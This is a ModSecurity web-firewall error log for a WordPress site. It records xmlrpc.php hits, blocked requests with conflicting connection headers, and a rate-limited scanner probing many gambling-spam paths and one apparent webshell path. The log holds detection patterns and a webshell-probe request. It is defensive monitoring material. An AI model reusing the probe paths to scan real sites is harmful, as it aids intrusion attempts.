[Sun Feb 15 04:25:42.302437 2026] [:error] [pid 24471:tid 24484] [client 69.163.174.53:40394] [client 69.163.174.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.174.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDaRp8rscjPkEmSs2V3SQAAAsc"]
[Sun Feb 15 04:25:51.241527 2026] [:error] [pid 54016:tid 54056] [client 97.74.92.57:43538] [client 97.74.92.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.74.92.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDaTwZDdo2fTe5fD3XzLAAAAEQ"]
[Sun Feb 15 04:25:54.332641 2026] [:error] [pid 54123:tid 54140] [client 121.40.46.168:55964] [client 121.40.46.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.40.46.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDaUuYxwyWxrs4p1rPQDgAAAM8"]
[Sun Feb 15 04:26:00.418188 2026] [:error] [pid 56031:tid 56109] [client 114.66.48.132:34154] [client 114.66.48.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.66.48.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDaWLUw4jnaBpex0N69IAAAAlQ"]
[Sun Feb 15 04:26:02.743647 2026] [:error] [pid 54123:tid 54128] [client 129.226.82.190:49594] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDaWuYxwyWxrs4p1rPQFQAAAMM"]
[Sun Feb 15 04:26:07.301740 2026] [:error] [pid 55942:tid 55967] [client 198.251.89.157:57146] [client 198.251.89.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.89.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDaX-Hs6SpnDFDOMlLdHAAAARc"]
[Sun Feb 15 04:26:23.559539 2026] [:error] [pid 24412:tid 24459] [client 114.66.48.132:48152] [client 114.66.48.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.66.48.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDabyFWEC7XTrgvZHklXQAAAhE"]
[Sun Feb 15 04:26:30.994124 2026] [:error] [pid 54015:tid 54047] [client 162.0.235.223:54096] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDadqpo2V_xmMbamFHmWgAAABc"]
[Sun Feb 15 05:24:42.582701 2026] [:error] [pid 33236:tid 33277] [client 157.66.56.134:62173] [client 157.66.56.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wpr-addons/forms/b1ack.php"] [unique_id "aZDoGjCGj89oAJrfH6DgIwAAA0k"]
[Sun Feb 15 05:32:05.518865 2026] [:error] [pid 24412:tid 24449] [client 43.154.127.188:56138] [client 43.154.127.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZDp1SFWEC7XTrgvZHkviwAAAgc"]
[Sun Feb 15 06:12:03.040225 2026] [:error] [pid 45737:tid 45757] [client 198.58.96.57:36656] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDzMy09hmSGkkk5TsBsTwAAAdA"]
[Sun Feb 15 07:07:37.178498 2026] [:error] [pid 55609:tid 55656] [client 141.94.139.189:47432] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEAOWsVXoO941lZC9ze5gAAAZI"]
[Sun Feb 15 08:05:00.986143 2026] [:error] [pid 9057:tid 9097] [client 5.53.124.193:38930] [client 5.53.124.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.53.124.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZENrOz9-RN-JDtmflF2TwAAAMs"]
[Sun Feb 15 08:13:36.921107 2026] [:error] [pid 14577:tid 14601] [client 96.44.136.159:45484] [client 96.44.136.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZEPsHTqrkuce6u39HuP3wAAARU"], referer: https://www.google.com
[Sun Feb 15 08:41:07.996748 2026] [:error] [pid 14670:tid 14693] [client 114.66.48.132:50934] [client 114.66.48.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.66.48.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEWI9u9yMEujlRGO9_yEAAAAdE"]
[Sun Feb 15 08:41:51.532421 2026] [:error] [pid 19652:tid 19667] [client 34.61.186.37:58276] [client 34.61.186.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.186.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEWTzHg2T9K5fiyOL93qAAAAA0"]
[Sun Feb 15 08:42:15.422142 2026] [:error] [pid 9024:tid 9031] [client 8.140.237.151:45752] [client 8.140.237.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.140.237.151, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEWZ8sSQYTxR2x_-tKGBgAAAEU"]
[Sun Feb 15 08:43:17.753253 2026] [:error] [pid 14577:tid 14588] [client 64.110.107.179:49664] [client 64.110.107.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.110.107.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEWpXTqrkuce6u39HuVLwAAAQg"]
[Sun Feb 15 08:43:24.347606 2026] [:error] [pid 19652:tid 19678] [client 101.43.101.165:64649] [client 101.43.101.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.43.101.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEWrDHg2T9K5fiyOL934gAAABg"]
[Sun Feb 15 08:43:53.250154 2026] [:error] [pid 19652:tid 19671] [client 5.180.185.20:42204] [client 5.180.185.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.180.185.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEWyTHg2T9K5fiyOL938QAAABE"]
[Sun Feb 15 08:58:23.808960 2026] [:error] [pid 25845:tid 25915] [client 107.180.253.134:48168] [client 107.180.253.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.253.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZEaLxlhYoSPDvMa36GERwAAA0k"]
[Sun Feb 15 10:13:39.511289 2026] [:error] [pid 42659:tid 42667] [client 195.201.199.99:54218] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZEr0-y3JGHOB-Rj_FYUKAAAAEY"]
[Sun Feb 15 10:13:41.526620 2026] [:error] [pid 42752:tid 42774] [client 195.201.199.99:34270] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZEr1cClY05C-Gq9l0gMVAAAAs8"]
[Sun Feb 15 10:13:43.529053 2026] [:error] [pid 31679:tid 31715] [client 195.201.199.99:34692] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZEr1xz9Q_0Eh7M-Xr1POgAAAgY"]
[Sun Feb 15 10:13:45.660469 2026] [:error] [pid 42754:tid 42824] [client 195.201.199.99:35130] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZEr2eiCZrZWT4BVy12AQwAAA8o"]
[Sun Feb 15 10:13:47.839358 2026] [:error] [pid 42754:tid 42838] [client 195.201.199.99:35672] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZEr2-iCZrZWT4BVy12ARgAAA9g"]
[Sun Feb 15 10:13:50.179506 2026] [:error] [pid 31679:tid 31713] [client 195.201.199.99:36140] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZEr3hz9Q_0Eh7M-Xr1PPQAAAgQ"]
[Sun Feb 15 10:13:52.080589 2026] [:error] [pid 42754:tid 42816] [client 195.201.199.99:36474] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZEr4OiCZrZWT4BVy12ARwAAA8I"]
[Sun Feb 15 10:13:54.081744 2026] [:error] [pid 42754:tid 42834] [client 195.201.199.99:36850] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZEr4uiCZrZWT4BVy12ASQAAA9Q"]
[Sun Feb 15 10:13:56.282845 2026] [:error] [pid 42659:tid 42671] [client 195.201.199.99:37262] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZEr5Oy3JGHOB-Rj_FYUPQAAAEo"]
[Sun Feb 15 10:13:58.284342 2026] [:error] [pid 35560:tid 35640] [client 195.201.199.99:37626] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZEr5gZSChHPc3occZ7prAAAAxc"]
[Sun Feb 15 10:14:00.160257 2026] [:error] [pid 42659:tid 42681] [client 195.201.199.99:37950] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZEr6Oy3JGHOB-Rj_FYURgAAAFQ"]
[Sun Feb 15 10:14:02.045861 2026] [:error] [pid 42754:tid 42819] [client 195.201.199.99:38254] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZEr6uiCZrZWT4BVy12ASwAAA8U"]
[Sun Feb 15 10:14:03.992420 2026] [:error] [pid 42659:tid 42665] [client 195.201.199.99:38570] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZEr6-y3JGHOB-Rj_FYUTQAAAEQ"]
[Sun Feb 15 10:14:06.037658 2026] [:error] [pid 42659:tid 42673] [client 195.201.199.99:38912] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZEr7uy3JGHOB-Rj_FYUUQAAAEw"]
[Sun Feb 15 10:14:08.172816 2026] [:error] [pid 31679:tid 31712] [client 195.201.199.99:39254] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZEr8Bz9Q_0Eh7M-Xr1PQwAAAgM"]
[Sun Feb 15 10:14:10.245229 2026] [:error] [pid 35560:tid 35638] [client 195.201.199.99:39640] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZEr8gZSChHPc3occZ7prwAAAxU"]
[Sun Feb 15 10:14:12.213639 2026] [:error] [pid 42754:tid 42836] [client 195.201.199.99:40016] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZEr9OiCZrZWT4BVy12AVQAAA9Y"]
[Sun Feb 15 10:14:14.432036 2026] [:error] [pid 42752:tid 42782] [client 195.201.199.99:40458] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZEr9sClY05C-Gq9l0gMZQAAAtc"]
[Sun Feb 15 10:14:16.586823 2026] [:error] [pid 19652:tid 19661] [client 195.201.199.99:40848] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZEr-DHg2T9K5fiyOL-G_AAAAAc"]
[Sun Feb 15 10:14:18.575181 2026] [:error] [pid 42752:tid 42765] [client 195.201.199.99:41194] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZEr-sClY05C-Gq9l0gMaAAAAsY"]
[Sun Feb 15 10:14:20.622162 2026] [:error] [pid 35557:tid 35582] [client 195.201.199.99:41538] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZEr_MI4REuGME4xEbPibQAAAlM"]
[Sun Feb 15 10:14:22.610410 2026] [:error] [pid 42659:tid 42666] [client 195.201.199.99:41940] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZEr_uy3JGHOB-Rj_FYUdAAAAEU"]
[Sun Feb 15 10:14:24.537595 2026] [:error] [pid 35560:tid 35624] [client 195.201.199.99:42306] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZEsAAZSChHPc3occZ7psAAAAwc"]
[Sun Feb 15 10:14:26.541755 2026] [:error] [pid 42659:tid 42665] [client 195.201.199.99:42710] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZEsAuy3JGHOB-Rj_FYUfQAAAEQ"]
[Sun Feb 15 10:14:28.480021 2026] [:error] [pid 42754:tid 42837] [client 195.201.199.99:43084] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZEsBOiCZrZWT4BVy12AXwAAA9c"]
[Sun Feb 15 10:14:30.645986 2026] [:error] [pid 42659:tid 42685] [client 195.201.199.99:43468] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZEsBuy3JGHOB-Rj_FYUuAAAAFg"]
[Sun Feb 15 10:14:32.645187 2026] [:error] [pid 31679:tid 31716] [client 195.201.199.99:43828] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZEsCBz9Q_0Eh7M-Xr1PUgAAAgc"]
[Sun Feb 15 10:14:34.595332 2026] [:error] [pid 35557:tid 35581] [client 195.201.199.99:44184] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZEsCsI4REuGME4xEbPilgAAAlI"]
[Sun Feb 15 10:15:09.644289 2026] [:error] [pid 42659:tid 42677] [client 195.201.199.99:44498] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZEsLey3JGHOB-Rj_FYU6AAAAFA"]
[Sun Feb 15 10:15:11.591989 2026] [:error] [pid 42659:tid 42674] [client 195.201.199.99:51106] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZEsL-y3JGHOB-Rj_FYU7wAAAE0"]
[Sun Feb 15 10:15:13.429397 2026] [:error] [pid 35557:tid 35570] [client 195.201.199.99:51432] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZEsMcI4REuGME4xEbPiqwAAAkc"]
[Sun Feb 15 10:15:15.302228 2026] [:error] [pid 42754:tid 42837] [client 195.201.199.99:51762] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZEsM-iCZrZWT4BVy12AgAAAA9c"]
[Sun Feb 15 10:15:17.356661 2026] [:error] [pid 42754:tid 42824] [client 195.201.199.99:52212] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZEsNeiCZrZWT4BVy12AhAAAA8o"]
[Sun Feb 15 10:15:19.178223 2026] [:error] [pid 35557:tid 35579] [client 195.201.199.99:52512] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZEsN8I4REuGME4xEbPisAAAAlA"]
